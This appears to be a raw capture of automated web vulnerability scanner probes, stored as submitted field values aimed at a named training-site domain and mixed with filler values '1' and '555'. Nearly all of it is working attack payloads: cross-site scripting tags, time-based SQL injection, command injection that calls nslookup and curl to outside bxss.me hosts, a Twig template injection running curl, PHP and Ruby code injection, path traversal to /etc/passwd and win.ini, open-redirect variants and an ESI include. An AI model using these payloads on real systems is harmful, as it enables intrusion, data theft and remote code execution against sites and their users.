1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
<th:t="${dfb}#foreach
1
<%={{={@{#{${dfb}}%>
bfgx5317%C0%BEz1%C0%BCz2a%90bcxhjl5317
bfg3153%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3153
19350139
'"()&%<zzz><ScRiPt >CKhv(9211)</ScRiPt>
1'"()&%<zzz><ScRiPt >CKhv(9346)</ScRiPt>
redirtest.acx?1
https://bxss.me/1
https://bxss.me?https://daotao.aladdin-jsc.com/
//bxss.me/?1
%252f%252fbxss.me%252f
\\bxss.me
/\/bxss.me/
/\bxss.me/
https:\\bxss.me\
http:bxss.me
//bxss.me/daotao.aladdin-jsc.com/
//bxss.me/
https://bxss.me?1
@bxss.me/
https://bxss.me?daotao.aladdin-jsc.com/
https://bxss.me#daotao.aladdin-jsc.com/
https://bxss.me\@daotao.aladdin-jsc.com/
https://daotao.aladdin-jsc.com:80@bxss.me/
https://daotao.aladdin-jsc.com@bxss.me/
https://daotao.aladdin-jsc.com.bxss.me/
https://bxss.me/
https://daotao.aladdin-jsc.com/
redirtest.acx
1
1
19930054
'"()&%<zzz><ScRiPt >qSF5(9807)</ScRiPt>
1'"()&%<zzz><ScRiPt >qSF5(9462)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
1
1
(select 198766*667891)
1
@@sK6dh
1
1????%2527%2522\'\"
1
1'"
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1hUQZyoDD')) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
1
1
1qO8yyK47') OR 885=(SELECT 885 FROM PG_SLEEP(15))--
1
1lHd6bFnr' OR 717=(SELECT 717 FROM PG_SLEEP(15))--
1
1-1)) OR 402=(SELECT 402 FROM PG_SLEEP(15))--
1
1-1) OR 187=(SELECT 187 FROM PG_SLEEP(15))--
1
1-1 OR 326=(SELECT 326 FROM PG_SLEEP(15))--
1
1rIVZwIOi'; waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1
1-1); waitfor delay '0:0:15' --
<!--
1
1-1; waitfor delay '0:0:15' --
'{"
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
'.print(md5(31337)).'
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
${@print(md5(31337))}\
1*if(now()=sysdate(),sleep(15),0)
1
-1" OR 5*5=25 or "BBR7PTak"="
${@print(md5(31337))}
1
-1' OR 5*5=25 or 'DtLAurkS'='
";print(md5(31337));$a="
-1" OR 5*5=25 --
';print(md5(31337));$a='
-1' OR 5*5=25 --
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
-1 OR 5*5=25
1
-1 OR 5*5=25 --
1
1
1
1RimAUPip
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(119).concat(69).concat(101).concat(77)+(require'socket' Socket.gethostbyname('hittt'+'wncosdtn1e7ff.bxss.me.')[3].to_s)
xfs.bxss.me
'+'A'.concat(70-3).concat(22*4).concat(109).concat(83).concat(117).concat(90)+(require'socket' Socket.gethostbyname('hittv'+'biljptxkdf57b.bxss.me.')[3].to_s)+'
1
"+"A".concat(70-3).concat(22*4).concat(105).concat(71).concat(106).concat(90)+(require"socket" Socket.gethostbyname("hityw"+"asbexslg31a48.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
gethostbyname(lc('hityo'.'dllprhzi86ea4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(86).chr(103).chr(85)
1
1
".gethostbyname(lc("hitlr"."dqxrnghsa67d2.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(89).chr(116).chr(75)."
1
1
'.gethostbyname(lc('hitio'.'ghafnlds0582d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(90).chr(102).chr(65).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hituqfaeurclofb80e.bxss.me||curl${IFS}hituqfaeurclofb80e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hituqfaeurclofb80e.bxss.me||curl${IFS}hituqfaeurclofb80e.bxss.me)&`'
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitsplwyoizyecb6fb.bxss.me||curl${IFS}hitsplwyoizyecb6fb.bxss.me)
1
1
1
;(nslookup -q=cname hitdnegytyrjge7fc3.bxss.me||curl hitdnegytyrjge7fc3.bxss.me)|(nslookup -q=cname hitdnegytyrjge7fc3.bxss.me||curl hitdnegytyrjge7fc3.bxss.me)&(nslookup -q=cname hitdnegytyrjge7fc3.bxss.me||curl hitdnegytyrjge7fc3.bxss.me)
1
1
1
1
`(nslookup -q=cname hithmidrycvqz38221.bxss.me||curl hithmidrycvqz38221.bxss.me)`
1
1
1
|(nslookup -q=cname hitajhrdhkaiw240a9.bxss.me||curl hitajhrdhkaiw240a9.bxss.me)
http://bxss.me/t/fit.txt%3F.jpg
1
1
&(nslookup -q=cname hitjaldacemheb3450.bxss.me||curl hitjaldacemheb3450.bxss.me)&'\"`0&(nslookup -q=cname hitjaldacemheb3450.bxss.me||curl hitjaldacemheb3450.bxss.me)&`'
Http://bxss.me/t/fit.txt
1
1
&nslookup -q=cname hitjxpkobdsmy082d0.bxss.me&'\"`0&nslookup -q=cname hitjxpkobdsmy082d0.bxss.me&`'
bxss.me
1
1
$(nslookup -q=cname hitqcwrypwjzlab2a4.bxss.me||curl hitqcwrypwjzlab2a4.bxss.me)
c:/windows/win.ini
1
1
1
(nslookup -q=cname hitpdnvpwgpzi69f53.bxss.me||curl hitpdnvpwgpzi69f53.bxss.me))
../../../../../../../../../../../../../../etc/shells
1
1
1
expr 9000140393 - 979263
/etc/shells
1
1
1
1|echo kexqrr$()\ shdihe\nz^xyu||a #' |echo kexqrr$()\ shdihe\nz^xyu||a #|" |echo kexqrr$()\ shdihe\nz^xyu||a #
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1
1
1
|echo wiboun$()\ tnnvgk\nz^xyu||a #' |echo wiboun$()\ tnnvgk\nz^xyu||a #|" |echo wiboun$()\ tnnvgk\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1
1&echo dbkucu$()\ zhjhqj\nz^xyu||a #' &echo dbkucu$()\ zhjhqj\nz^xyu||a #|" &echo dbkucu$()\ zhjhqj\nz^xyu||a #
1
1
1
&echo pymcdj$()\ tfjeob\nz^xyu||a #' &echo pymcdj$()\ tfjeob\nz^xyu||a #|" &echo pymcdj$()\ tfjeob\nz^xyu||a #
1
1
1"||sleep(27*1000)*itfrjm||"
echo iwvnas$()\ vejffp\nz^xyu||a #' &echo iwvnas$()\ vejffp\nz^xyu||a #|" &echo iwvnas$()\ vejffp\nz^xyu||a #
1
1
1'||sleep(27*1000)*wbbito||'
1
1
1"&&sleep(27*1000)*etxlmd&&"
1
1
1'&&sleep(27*1000)*qrabwt&&'
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
1
1
!(()&&!|*|*|
1
1
)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
file:///etc/passwd
1&n966577=v928443
1
../../../../../../../../../../../../../../windows/win.ini
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000394+9999234}
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
MhbtiMya: qttrYnY4
1
A1tTgHWe
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+response.write(9051607*9586406)+"
1
'+response.write(9051607*9586406)+'
1
1
response.write(9051607*9586406)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
15M9BQYRZ0
1
1
1
1
1
1
1
https://bxss.me#daotao.aladdin-jsc.com/
https://bxss.me\@daotao.aladdin-jsc.com/
1*if(now()=sysdate(),sleep(15),0)
https://daotao.aladdin-jsc.com:80@bxss.me/
-1" OR 5*5=25 or "84q2Pqv7"="
https://daotao.aladdin-jsc.com@bxss.me/
-1' OR 5*5=25 or '63Y0tXcy'='
https://daotao.aladdin-jsc.com.bxss.me/
-1" OR 5*5=25 --
https://bxss.me/
-1' OR 5*5=25 --
https://daotao.aladdin-jsc.com/
-1 OR 5*5=25
redirtest.acx
-1 OR 5*5=25 --
1
1
1
13x0xsGEX
19143824
1
'"()&%<zzz><ScRiPt >PL7C(9295)</ScRiPt>
1
1'"()&%<zzz><ScRiPt >PL7C(9500)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
<!--
1
'{"
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
'.print(md5(31337)).'
1
1
1
${@print(md5(31337))}\
1
1
'A'.concat(70-3).concat(22*4).concat(100).concat(67).concat(111).concat(82)+(require'socket' Socket.gethostbyname('hitan'+'apasjxmvdb5e6.bxss.me.')[3].to_s)
${@print(md5(31337))}
1
1
'+'A'.concat(70-3).concat(22*4).concat(117).concat(89).concat(105).concat(72)+(require'socket' Socket.gethostbyname('hitkd'+'kzqfjefo1af0c.bxss.me.')[3].to_s)+'
";print(md5(31337));$a="
1
1
"+"A".concat(70-3).concat(22*4).concat(112).concat(72).concat(114).concat(77)+(require"socket" Socket.gethostbyname("hitxb"+"fspihvzn26250.bxss.me.")[3].to_s)+"
';print(md5(31337));$a='
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
gethostbyname(lc('hitsz'.'trzgufas61319.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(76).chr(114).chr(82)
1
".gethostbyname(lc("hitjy"."iolumuiaa1c45.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(75).chr(116).chr(75)."
1
'.gethostbyname(lc('hittc'.'bwwslpfl043e9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(82).chr(110).chr(82).'
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitnqtsxndnbi21f52.bxss.me||curl${IFS}hitnqtsxndnbi21f52.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnqtsxndnbi21f52.bxss.me||curl${IFS}hitnqtsxndnbi21f52.bxss.me)&`'
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hithzjgwyctxga1239.bxss.me||curl${IFS}hithzjgwyctxga1239.bxss.me)
1
;(nslookup -q=cname hitjgpdyzeghtdbc1c.bxss.me||curl hitjgpdyzeghtdbc1c.bxss.me)|(nslookup -q=cname hitjgpdyzeghtdbc1c.bxss.me||curl hitjgpdyzeghtdbc1c.bxss.me)&(nslookup -q=cname hitjgpdyzeghtdbc1c.bxss.me||curl hitjgpdyzeghtdbc1c.bxss.me)
1
1
`(nslookup -q=cname hitrvkaujccap54708.bxss.me||curl hitrvkaujccap54708.bxss.me)`
1
|(nslookup -q=cname hitstbjyaejgh603f4.bxss.me||curl hitstbjyaejgh603f4.bxss.me)
&(nslookup -q=cname hitrjrbdukvyma83eb.bxss.me||curl hitrjrbdukvyma83eb.bxss.me)&'\"`0&(nslookup -q=cname hitrjrbdukvyma83eb.bxss.me||curl hitrjrbdukvyma83eb.bxss.me)&`'
&nslookup -q=cname hitztifybxntu3dd4a.bxss.me&'\"`0&nslookup -q=cname hitztifybxntu3dd4a.bxss.me&`'
$(nslookup -q=cname hitzeghqywmgqbc553.bxss.me||curl hitzeghqywmgqbc553.bxss.me)
(nslookup -q=cname hithcbakskhyt70e5d.bxss.me||curl hithcbakskhyt70e5d.bxss.me))
expr 9000709993 - 933320
1
1|echo nbuatq$()\ zpnewm\nz^xyu||a #' |echo nbuatq$()\ zpnewm\nz^xyu||a #|" |echo nbuatq$()\ zpnewm\nz^xyu||a #
|echo sdljtx$()\ kmrmsa\nz^xyu||a #' |echo sdljtx$()\ kmrmsa\nz^xyu||a #|" |echo sdljtx$()\ kmrmsa\nz^xyu||a #
http://bxss.me/t/fit.txt%3F.jpg
1"||sleep(27*1000)*rnwtzn||"
Http://bxss.me/t/fit.txt
1&echo eqgzaz$()\ vrnzef\nz^xyu||a #' &echo eqgzaz$()\ vrnzef\nz^xyu||a #|" &echo eqgzaz$()\ vrnzef\nz^xyu||a #
bxss.me
&echo owpknp$()\ yqyvvv\nz^xyu||a #' &echo owpknp$()\ yqyvvv\nz^xyu||a #|" &echo owpknp$()\ yqyvvv\nz^xyu||a #
1'||sleep(27*1000)*krpvfa||'
c:/windows/win.ini
echo pylljq$()\ giolwj\nz^xyu||a #' &echo pylljq$()\ giolwj\nz^xyu||a #|" &echo pylljq$()\ giolwj\nz^xyu||a #
1"&&sleep(27*1000)*bzqchy&&"
../../../../../../../../../../../../../../etc/shells
1'&&sleep(27*1000)*xfqqgf&&'
/etc/shells
'"()
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
1
1
1
1
1
1
1
1
^(#$!@#$)(()))******
1
1
!(()&&!|*|*|
1
1
1
)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
file:///etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
../../../../../../../../../../../../../../etc/passwd
1&n920823=v993053
1
1
1
1
1
1
1
1
1
1
1
${9999349+9999906}
1
1
1
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
U0PoBJsm: qg7v1IuU
1
1
TAoXLLVD
1
1
"+response.write(9515521*9965556)+"
1
1
1
'+response.write(9515521*9965556)+'
1
response.write(9515521*9965556)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
5559116198
'"()&%<zzz><ScRiPt >0ONk(9819)</ScRiPt>
555
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitozecdehpgs48b97.bxss.me")}}
555
555
555'"()&%<zzz><ScRiPt >0ONk(9115)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
'{"
555
555
555
555
555
555
555
xfs.bxss.me
555
blog-comment-submit/.
555
blog-comment-submit
blog-comment-submit
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(115).concat(83).concat(122).concat(66)+(require'socket' Socket.gethostbyname('hitvl'+'vnriptkf41739.bxss.me.')[3].to_s)
555
'+'A'.concat(70-3).concat(22*4).concat(104).concat(71).concat(116).concat(70)+(require'socket' Socket.gethostbyname('hittn'+'xziizfoted3f8.bxss.me.')[3].to_s)+'
555
"+"A".concat(70-3).concat(22*4).concat(116).concat(81).concat(108).concat(70)+(require"socket" Socket.gethostbyname("hitzq"+"rgyvkkqa54530.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
555
555
555
555
redirtest.acx?555
555
555
https://bxss.me/555
555
555
https://bxss.me?https://daotao.aladdin-jsc.com/
555
//bxss.me/?555
555
555
%2f%2fbxss.me%2f
555
555
\\bxss.me
/\/bxss.me/
/\bxss.me/
bxss.me/t/xss.html?%00
https:\\bxss.me\
'.print(md5(31337)).'
555
HttP://bxss.me/t/xss.html?%00
http:bxss.me
${@print(md5(31337))}\
//bxss.me/daotao.aladdin-jsc.com/
${@print(md5(31337))}
//bxss.me/
";print(md5(31337));$a="
https://bxss.me?555
';print(md5(31337));$a='
@bxss.me/
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
https://bxss.me?daotao.aladdin-jsc.com/
555
https://bxss.me#daotao.aladdin-jsc.com/
555
555
https://bxss.me\@daotao.aladdin-jsc.com/
555
555
https://daotao.aladdin-jsc.com:80@bxss.me/
555
555
https://daotao.aladdin-jsc.com@bxss.me/
555
https://daotao.aladdin-jsc.com.bxss.me/
555
https://bxss.me/
555
555
https://daotao.aladdin-jsc.com/
redirtest.acx
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitgz'.'msedqopw7d91e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(70).chr(117).chr(69)
555
".gethostbyname(lc("hitzw"."ojrydyly6de90.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(82).chr(98).chr(70)."
555
555
'.gethostbyname(lc('hithd'.'hmovbanr189a2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(78).chr(114).chr(81).'
555
555"||sleep(27*1000)*csqcln||"
555
555'||sleep(27*1000)*swzozr||'
555
555"&&sleep(27*1000)*vmpgbu&&"
555
555
555'&&sleep(27*1000)*teksag&&'
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
(select 198766*667891 from DUAL)
bxss.me
(select 198766*667891)
555
c:/windows/win.ini
555
@@hTPVs
../../../../../../../../../../../../../../etc/shells
555
555????%2527%2522\'\"
/etc/shells
^(#$!@#$)(()))******
555
555'"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
!(()&&!|*|*|
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555u643BkyD')) OR 428=(SELECT 428 FROM PG_SLEEP(15))--
555oMRl6SId') OR 887=(SELECT 887 FROM PG_SLEEP(15))--
555W8b4CJFZ' OR 242=(SELECT 242 FROM PG_SLEEP(15))--
555-1)) OR 894=(SELECT 894 FROM PG_SLEEP(15))--
555-1) OR 168=(SELECT 168 FROM PG_SLEEP(15))--
555
555-1 OR 823=(SELECT 823 FROM PG_SLEEP(15))--
555
555FZXjFAb6'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555&n977708=v991614
555-1); waitfor delay '0:0:15' --
555
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "AxN6N22r"="
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitsiekituywy56ecf.bxss.me||curl${IFS}hitsiekituywy56ecf.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsiekituywy56ecf.bxss.me||curl${IFS}hitsiekituywy56ecf.bxss.me)&`'
-1' OR 5*5=25 or 'xUuvNCpP'='
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitstcoicxshce51be.bxss.me||curl${IFS}hitstcoicxshce51be.bxss.me)
-1" OR 5*5=25 --
${10000284+9999196}
;(nslookup -q=cname hitodbusfvguv41793.bxss.me||curl hitodbusfvguv41793.bxss.me)|(nslookup -q=cname hitodbusfvguv41793.bxss.me||curl hitodbusfvguv41793.bxss.me)&(nslookup -q=cname hitodbusfvguv41793.bxss.me||curl hitodbusfvguv41793.bxss.me)
-1' OR 5*5=25 --
555<esi:include src="http://bxss.me/rpb.png"/>
`(nslookup -q=cname hitvbnlbsuuig539e1.bxss.me||curl hitvbnlbsuuig539e1.bxss.me)`
-1 OR 5*5=25
555
|(nslookup -q=cname hitnxzphvthhq67c09.bxss.me||curl hitnxzphvthhq67c09.bxss.me)
-1 OR 5*5=25 --
&(nslookup -q=cname hitijrgcalvea62469.bxss.me||curl hitijrgcalvea62469.bxss.me)&'\"`0&(nslookup -q=cname hitijrgcalvea62469.bxss.me||curl hitijrgcalvea62469.bxss.me)&`'
1
555
&nslookup -q=cname hitgxflwxclzwd2cf6.bxss.me&'\"`0&nslookup -q=cname hitgxflwxclzwd2cf6.bxss.me&`'
5555kWjCXhv
$(nslookup -q=cname hitltygbbmchq2111b.bxss.me||curl hitltygbbmchq2111b.bxss.me)
555
1
(nslookup -q=cname hitndkzhvvqrl79e32.bxss.me||curl hitndkzhvvqrl79e32.bxss.me))
555
expr 9000759375 - 911661
555|echo sdaejg$()\ zsxoco\nz^xyu||a #' |echo sdaejg$()\ zsxoco\nz^xyu||a #|" |echo sdaejg$()\ zsxoco\nz^xyu||a #
|echo tyhnbz$()\ xycfhc\nz^xyu||a #' |echo tyhnbz$()\ xycfhc\nz^xyu||a #|" |echo tyhnbz$()\ xycfhc\nz^xyu||a #
555&echo gscdfz$()\ atrsor\nz^xyu||a #' &echo gscdfz$()\ atrsor\nz^xyu||a #|" &echo gscdfz$()\ atrsor\nz^xyu||a #
555
&echo yhrxwz$()\ gmivlk\nz^xyu||a #' &echo yhrxwz$()\ gmivlk\nz^xyu||a #|" &echo yhrxwz$()\ gmivlk\nz^xyu||a #
555
555
echo tcikpc$()\ dggmkv\nz^xyu||a #' &echo tcikpc$()\ dggmkv\nz^xyu||a #|" &echo tcikpc$()\ dggmkv\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]* { < >?''💡
555
555
555
555
555
../555
555
file:///etc/passwd
../../../../../../../../../../../../../../windows/win.ini
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
mrzN3Zir: vLs4Y6FR
555
555
SUYH62h5
555
555
555
555
555
555
"+response.write(9155600*9079093)+"
'+response.write(9155600*9079093)+'
response.write(9155600*9079093)
555
1
555
555
16P27PM4E0
555
555
1
1
1
1
555
1
1
1
555
555
English
